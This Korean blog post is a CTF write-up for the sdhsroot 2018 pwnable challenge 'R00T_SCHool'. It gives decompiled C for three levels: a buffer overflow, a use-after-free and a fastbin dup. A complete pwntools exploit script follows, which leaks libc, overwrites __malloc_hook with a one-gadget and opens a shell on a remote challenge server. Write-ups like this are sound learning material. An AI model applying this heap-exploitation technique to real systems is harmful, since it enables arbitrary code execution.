Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- shellcraft
- TUCTF
- FSB
- Bottle
- PMA
- reversing
- ASM
- string
- pwnable
- Toddler's Bottle
- pwnable.kr
- writeup
- CTF
- anti
- Reverse
- BOF
- picoCTF
- 2018
- Rookiss
- format
- rev
- CANARY
- pwn
- pico
- practicalmalwareanalysis
- toddler
- shellcode
- Leak
- Bug
- Read
Archives
- Today
- Total
제리의 블로그
sdhsroot 2018 PWN R00T_SCHool 본문
sdhsroot 2018 PWN R00T_SCHool
목차
요약
3 단계로 이루어져 있는 pwnable 바이너리이고 libc.so.6 이 제공되었다.
1단계 - BOF
(RET를 덮는게 아니라 지역 변수를 덮음)
2단계 - UAF
(malloc size 0x40 으로 고정)
3단계 - fastbin dup
(malloc size 지정할 수 있음)
기초 분석
$ sha256sum ./ROOTschool.zip ./R00T_SCHool ./libc.so.6
ab84d6961237d5c29938d42b0877f92ad6c0228cdd42b8fef0104ebfa9de09c1 ./ROOTschool.zip
7d72200047bad1e7fd51325dfab154e09d2296822a6fcdb4ba0ae8fcbc3d9ba5 ./R00T_SCHool
05b841eae6f475817ebb3b99562cd6535cc61b099350a25019cd5d3b3136881d ./libc.so.6
$ checksec ./R00T_SCHool
[*] './sdhsroot2018/R00T_SCHool'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
level1 (BOF)
void level1(int *check1)
{
//__int64 v5; // [sp+38h] [bp-8h]@1
char s1[] = "Helloworld"; // [sp+20h] [bp-20h]@1
char s2[0xf] = {0}; // [sp+10h] [bp-30h]@1
//__int64 v1; // rax@4
//v5 = *MK_FP(__FS__, 40LL);
puts(" *****LEVEL 1*****");
puts("Solve! This!");
printf("Input: ");
scanf("%s", s2);
if ( !strncmp(s1, "Helloworld", 10uLL) )
{
puts("Fail.. try agian!");
puts(s1);
}
else
{
puts("Success!!");
*check1 = 1;
}
//v1 = *MK_FP(__FS__, 40LL) ^ v5;
}
level1은 BOF를 통해 s1을 덮어씌우면 clear
level2 (UAF)
void level2()
{
//__int64 canary; // [sp+48h] [bp-8h]@1
int one_chance; // [sp+38h] [bp-18h]@1
struct struc_2_ints count = {0}; // [sp+30h] [bp-20h]@1
long long int **ptr; // [sp+28h] [bp-28h]@1
char *buf = 0; // [sp+20h] [bp-30h]@1
char menu; // [sp+1Fh] [bp-31h]@1
//canary = *MK_FP(__FS__, 40LL);
puts(" *****LEVEL 2*****");
puts("Solve! This!");
menu = 0;
one_chance = 0;
ptr = (long long int **)calloc(1uLL, 0x40uLL);
ptr[2] = (long long int *)__exit;
while ( 1 )
{
while ( 1 )
{
puts("Select!!");
puts("1. malloc");
puts("2. free");
puts("3. execute");
printf("Input: ");
scanf("%d", &menu);
switch ( menu ){
case 1:
if ( count.n1 )
exit(-1);
buf = (char *)malloc(0x40uLL);
printf("Input: ");
buf[read(0, buf, 0x40uLL) - 1] = 0;
count.n1++;
break;
case 2:
if ( count.n2 )
exit(-1);
free(ptr);
count.n2++;
break;
case 3:
if ( one_chance )
exit(-1);
one_chance = 1;
if ( ptr[2] != (long long int *)main
&& ptr[2] != (long long int *)level1
&& ptr[2] != (long long int *)level2
&& ptr[2] != (long long int *)level3
&& ptr[2] != (long long int *)__exit
&& ptr[2] != (long long int *)banner
&& ptr[2] != (long long int *)setvbuf_init )
{
exit(-1);
}
((void (*)())ptr[2])();
break;
}
}
}
}
leve2 는 UAF 취약점을 이용한다.
"3. execute" 에서 (ptr[2])() 를 호출하고 있으므로
그 자리에 level3 로 덮어씌우면 된다.
level3 (fastbin dup)
void level3()
{
//__int64 v5; // [sp+38h] [bp-18h]@1
char *s[3] = {0}; // [sp+20h] [bp-30h]@1
int gazuaaa = 0; // [sp+1Ch] [bp-34h]@1
struct struc_2_ints num = {0}; // [sp+14h] [bp-3Ch]@1
int menu = 0; // [sp+10h] [bp-40h]@1
//int v0; // ebx@19
//v5 = *MK_FP(__FS__, 40LL);
puts(" *****LEVEL 3*****");
puts("Wow! you reach LEVEL 3 Cheer up!");
while ( 1 )
{
printf("Input: ");
scanf("%d", &menu);
switch ( menu )
{
case 1: // _show
printf("idx: ");
scanf("%d", &num.n2);
if ( num.n2 < 0 || num.n2 > 2 )
exit(-1);
if ( s[num.n2] )
puts(s[num.n2]);
break;
case 2: // _alloc
printf("idx: ");
scanf("%d", &num.n2);
if ( num.n2 < 0 || num.n2 > 2 )
break;
printf("size: ");
scanf("%d", &num.n1);
if ( num.n1 > 1024 )
exit(-1);
s[num.n2] = (char *)malloc(num.n1);
printf("data: ");
read(0, s[num.n2], num.n1);
break;
case 3: // _free
printf("idx: ");
scanf("%d", &num.n2);
if ( num.n2 < 0 || num.n2 > 2 )
exit(-1);
if ( s[num.n2] )
{
printf("gazuaaa?? ");
scanf("%d", &gazuaaa);
free(s[num.n2]);
if ( gazuaaa )
s[num.n2] = 0LL;
}
else
{
puts("nop");
}
break;
case 4:
if ( s[0] && s[1] && s[2] )
free3(s[0], s[1], s[2]);
break;
}
}
exit(-1);
}
level3 는 malloc 을 자유롭게 size 까지 지정할 수 있다.
libc 의 오프셋을 leak 하여 알아내고
fastbin dup attack 으로 __malloc_hook 을 oneshot 주소로 덮으면 된다.
익스 코드
from pwn import *
def _input(data):
r.recvuntil('Input: ')
r.sendline(data)
def _idx(idx):
r.recvuntil('idx: ')
r.sendline(str(idx))
def _size(size):
r.recvuntil('size: ')
r.sendline(str(size))
def _data(data):
r.recvuntil('data: ')
r.send(data)
def _gazuaaa(n):
r.recvuntil('gazuaaa?? ')
r.sendline(str(n))
def _alloc(idx, size, data=''):
_input(str(2))
_idx(idx)
_size(size)
_data(data) if data else ''
def _free(idx, n=0):
_input(str(3))
_idx(idx)
_gazuaaa(n)
def _show(idx):
_input(str(1))
_idx(idx)
return r.recv(6)
r = remote('222.110.147.52', 1009)
e = ELF('./R00T_SCHool')
e.sym.level3 = 0x400AB2
libc = ELF('./libc.so.6')
# LEVEL 1 (BOF)
_input('A' * 0x10)
# LEVEL 2 (UAF)
_input(str(2)) # free
_input(str(1)) # alloc
_input('B' * 0x10 + p64(e.sym.level3)) # modify
_input(str(3)) # use
# LEVEL3 (fastbin_dup)
_alloc(0, 0x80, 'C')
_alloc(1, 0x80, 'D')
_free(0)
leak = u64(_show(0).ljust(8, '\0'))
libc.address = leak - 0x3c4b78
log.success(hex(libc.address))
oneshot = libc.address + 0x4526a
_alloc(0, 0x60, 'E')
_alloc(1, 0x60, 'F')
_free(0)
_free(1)
_free(0)
_alloc(0, 0x60, p64(libc.sym.__malloc_hook - 0x23))
_alloc(0, 0x60, 'G')
_alloc(0, 0x60, 'H')
_alloc(0, 0x60, 'I' * 0x13 + p64(oneshot))
_alloc(0, 0)
r.interactive()
'CTF > pwnable' 카테고리의 다른 글
RTL - Warmup - hayyim CTF 2022 Writeup (0) | 2022.02.14 |
---|---|
TUCTF 2018 PWN Lisa (0) | 2018.11.27 |
TUCTF 2018 PWN Timber (0) | 2018.11.27 |
TUCTF 2018 PWN shella-hard (0) | 2018.11.27 |
TUCTF 2018 PWN Canary (0) | 2018.11.26 |
Comments